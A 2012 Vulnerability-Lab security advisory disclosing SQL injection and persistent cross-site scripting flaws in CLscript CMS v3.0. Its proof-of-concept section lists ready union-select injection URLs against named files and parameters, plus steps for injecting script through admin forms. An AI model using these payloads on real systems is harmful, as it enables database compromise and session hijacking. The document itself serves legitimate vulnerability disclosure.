246 lines
8 KiB
Text
Executable file
246 lines
8 KiB
Text
Executable file
Title:
|
|
======
|
|
CLscript CMS v3.0 - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2012-05-16
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=574
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
574
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
8.6
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
With the professionally developed Classified-Portal CLscript 3.0 can Visitors post Classifieds and
|
|
use many new Features. The Classifieds Software is search Engine friendly to gain better Promotion
|
|
Aspects at search Engines. The whole Structure is manageable through easy to use AdminPanel.
|
|
In developing the Classified Software, we have geared ourselves to the most successful
|
|
Classifieds-Sites on the Internet. You can generate real Income from your Classifieds Website.
|
|
|
|
Manage Categories
|
|
Change Category Icons
|
|
Manage Sub Categories
|
|
Manage Members
|
|
Manage Social Network Ads:
|
|
Facebook, Twitter etc.
|
|
Manage FAQ
|
|
Manage Forum
|
|
Manage Featured Classifieds
|
|
Manage Classifieds Enquiry
|
|
Spam Protection Management
|
|
Manage Banner Requests
|
|
Place Banner (Google-Adsense)
|
|
under Categories at various Places.
|
|
Manage Feedback
|
|
Manage Newsletter
|
|
Manage SEO
|
|
RSS Feeds
|
|
|
|
(Copy of the vendor Homepage: http://www.clscript.com )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered multiple critical web vulnerabilities in the CLscript v3.0 Content Management System.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-05-16: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
CLscript COM
|
|
Product: CLscript Classified Software v3.0
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
1.1
|
|
Multiple SQL Injection vulnerabilities are detected in the CLscript v3.0 Content Management System.
|
|
The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected
|
|
application dbms. The vulnerabilities are located in the userDetail.php, advertise_detail.php or
|
|
land.php files with the bound vulnerable pid, rid and id parameters. Successful exploitation of the
|
|
vulnerability results in dbms, service & application compromise.
|
|
|
|
Vulnerable File(s):
|
|
[+] userDetail.php
|
|
[+] advertise_detail.php
|
|
[+] land.php
|
|
|
|
Vulnerable Module(s):
|
|
[+] land
|
|
[+] pageDetail
|
|
[+] enquiry_detail
|
|
[+] userDetail
|
|
[+] advertise_detail
|
|
[+] config_id
|
|
|
|
Vulnerable Module(s):
|
|
[+] rID
|
|
[+] ID
|
|
[+] pID
|
|
[+] faq_id
|
|
[+] sp_id
|
|
[+] config_id
|
|
|
|
1.2
|
|
Multiple persistent input validation vulnerabilities are detected in the CLscript v3.0 Content Management System.
|
|
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
|
The input validation vulnerabilities are located in the topic, new word, subcategories, add a new help, add currency
|
|
or add new FAQs modules. Remote attackers can inject script code to the vulnerable modules by injecting malicious
|
|
tags as titles, descriptions, word names, category names, currency code or as questions. Successful exploitation
|
|
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
|
|
Exploitation requires low user inter action & privileged user account.
|
|
|
|
Vulnerable Module(s):
|
|
[+] Topic
|
|
[+] New word
|
|
[+] Subcategory
|
|
[+] Add a new help
|
|
[+] Add currency (Symbol - Currency code)
|
|
[+] Add new FAQ (Question)
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] (title - description)
|
|
[+] (word name)
|
|
[+] (category name)
|
|
[+] (name)
|
|
[+] (symbol - currency code)
|
|
[+] (question)
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The sql injection vulnerabilities can be exploited by remote attackers without privileged user accounts or user inter action.
|
|
For demonstration or reproduce ...
|
|
|
|
PoC:
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_config&config_id=1'+order+by+1--%20-[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_config&config_id=-1'+union+select+1,
|
|
group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--%20-[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/pageDetail.php?pid=-1'+union+select+1,version(),3,4,5,6,7--%20-[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_diycontent&pid=5'[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/enquiry_detail.php?rID=-20'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--%20-[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=add_edit_spam_words&sp_id=45'[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=catalog&parentId=608[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/userDetail.php?id=487[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/advertise_detail.php?id=77[SQL-INJECTION!]
|
|
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_faq&faq_id=24[SQL-INJECTION!]
|
|
|
|
|
|
|
|
|
|
1.2
|
|
The persistent input validation vulnerabilities can be exploited by remote attackers with local low privileged user accounts and
|
|
with low required user inter action. For demonstration or reproduce ...
|
|
|
|
PoC:
|
|
|
|
1) http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_forum
|
|
create topic (title - description is injectable)
|
|
|
|
2)
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_spam_words -
|
|
add a new word (word is injectable)
|
|
|
|
3)
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=catalog&parentId=608 -
|
|
add subcategory (category name is injectable)
|
|
|
|
4)
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_help -
|
|
add a new help
|
|
|
|
5)
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_currencie
|
|
Add currency (Symbol - Currency code is injectable)
|
|
|
|
6)
|
|
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_faq
|
|
add new FAQ (Question is injectable)
|
|
|
|
|
|
Risk:
|
|
=====
|
|
1.1
|
|
The security risk of the sql injection vulnerabilities are estimated as critical.
|
|
|
|
1.2
|
|
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [the storm] (storm@vulnerability-lab.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2012 Vulnerability-Lab
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY TEAM
|
|
Website: www.vulnerability-lab.com
|
|
Mail: research@vulnerability-lab.com
|
|
|
|
|